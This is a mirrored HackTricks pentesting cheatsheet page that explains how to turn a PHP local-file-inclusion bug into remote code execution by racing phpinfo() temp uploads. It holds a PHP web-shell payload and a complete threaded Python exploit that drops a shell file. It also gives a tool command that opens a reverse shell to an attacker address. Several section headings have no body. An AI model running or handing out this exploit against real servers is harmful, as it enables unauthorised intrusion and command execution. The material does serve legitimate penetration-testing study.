repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
lfi2rce-via-phpinfo.mdMarkdown237 lines16.6 KiBsource raw download

title: "LFI to RCE via PHPInfo" section: "Web Pentesting" sectionSlug: "pentesting-web" sourcePath: "src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

LFI to RCE via PHPInfo#

To exploit this technique, you need all of the following:

Classic write-up and original PoC:

Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s[9]

Notes about the original PoC

Example sed (only if you really use the old Python2 PoC) to match HTML-encoded arrow:

sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py

Lfi With Phpinfo Assistance.Pdf

Theory#

In Windows the temp files are commonly under something like C:\Windows\Temp\php*.tmp. In Linux/Unix they are usually in /tmp or the directory configured in upload_tmp_dir.

What to verify in phpinfo() before racing#

Before sending thousands of requests, extract the values that decide whether the race is realistic:

If the page does not show $_FILES, make sure you are really sending a multipart/form-data request with an actual file part. PHP only populates tmp_name for upload fields that were parsed. Also verify the script is not calling phpinfo() with flags that omit INFO_VARIABLES (for example phpinfo(INFO_MODULES)), because that exposes phpinfo without dumping EGPCS/$_FILES.[3]

Parsing edge cases in modern PHP#

Attack workflow (step by step)#

  1. Prepare a tiny PHP payload that persists a shell quickly to avoid losing the race (writing a file is generally faster than waiting for a reverse shell):
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
  1. Send a large multipart POST directly to the phpinfo() page so it creates a temp file that contains your payload. Inflate various headers/cookies/params with ~5–10KB of padding to encourage early output. Make sure the form field name matches what you’ll parse in $_FILES.

  2. While the phpinfo() response is still streaming, parse the partial body to extract $_FILES['<field>']['tmp_name'] (HTML-encoded). As soon as you have the full absolute path (e.g., /tmp/php3Fz9aB), fire your LFI to include that path. If the include() executes the temp file before it is deleted, your payload runs and drops /tmp/.p.php.

  3. Use the dropped file: GET /vuln.php?include=/tmp/.p.php&x=id (or wherever your LFI lets you include it) to execute commands reliably.

Tips

  • Use multiple concurrent workers to increase your chances of winning the race.
  • Padding placement that commonly helps: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Tune per target.
  • The temporary file does not need a .php extension because include() parses the included file as PHP. However, if the vulnerable sink appends .php, the exact temporary path no longer exists; you need a separate suffix-bypass primitive. Modern PHP does not accept %00 as a generic path terminator.

Minimal Python 3 PoC (socket-based)#

The snippet below focuses on the critical parts and is easier to adapt than the legacy Python2 script. Customize HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), and PAYLOAD.

#!/usr/bin/env python3
import html
import re
import socket
import threading
from urllib.parse import quote

HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s'  # sprintf-style where %s will be the tmp path
THREADS = 10

PAYLOAD = (
    "<?php echo 'HT_RACE_OK'; "
    "file_put_contents('/tmp/.p.php', '<?php system($_GET[\"x\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"--{BOUND}\r\n"
             f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
             f"Content-Type: text/plain\r\n\r\n{PAYLOAD}\r\n--{BOUND}--\r\n")

REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
        f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
        f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
        f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
        f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")

pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)")


def race_once():
    s1 = socket.socket()
    s2 = socket.socket()
    s1.settimeout(5)
    s2.settimeout(5)
    try:
        s1.connect((HOST, PORT))
        s2.connect((HOST, PORT))
        s1.sendall(REQ1.encode())
        buf = b''
        tmp = None
        while len(buf) < 2_000_000:
            chunk = s1.recv(4096)
            if not chunk:
                break
            buf += chunk
            decoded = html.unescape(buf.decode(errors='ignore'))
            m = pat.search(decoded)
            if m:
                tmp = m.group(1)
                break
        if not tmp:
            return False

        lfi_path = LFIPATH % quote(tmp, safe='/')
        req = (f"GET {lfi_path} HTTP/1.1\r\nHost: {HOST}\r\n"
               "Connection: close\r\n\r\n")
        s2.sendall(req.encode())
        response = b''
        while b'HT_RACE_OK' not in response and len(response) < 1_000_000:
            chunk = s2.recv(4096)
            if not chunk:
                break
            response += chunk
        return b'HT_RACE_OK' in response
    except (OSError, socket.timeout):
        return False
    finally:
        s1.close()
        s2.close()

if __name__ == '__main__':
    hit = threading.Event()

    def worker():
        while not hit.is_set():
            if not race_once():
                continue
            print('[+] Won the race, payload dropped as /tmp/.p.php')
            hit.set()
            return

    ts = [threading.Thread(target=worker) for _ in range(THREADS)]
    [t.start() for t in ts]
    [t.join() for t in ts]

Useful public tooling#

If you want a ready-made wrapper instead of adapting the minimal PoC, a modern option is lfito_rce, which exposes knobs that are commonly needed in real targets (--phpinfo, --threads, --end for suffixes such as %00, and multiple payload styles). Treat these wrappers as starting points: check the regex against the raw phpinfo() response and update it if the target prints HTML-encoded arrows, array-style tmp_name values, or extra buffering/compression artifacts.[8]

python lfito_rce.py -l 'http://target/lfi.php?file=' -i 'http://target/phpinfo.php' --lhost 10.10.14.2 --lport 4444 -t 16 -e ''

Troubleshooting#

Practical notes for modern stacks#

Defensive notes#

Lfi2Rce Via Temp File Uploads

Via Php Session Upload Progress

Lfi2Rce Via Nginx Temp Files

Lfi2Rce Via Eternal Waiting

References#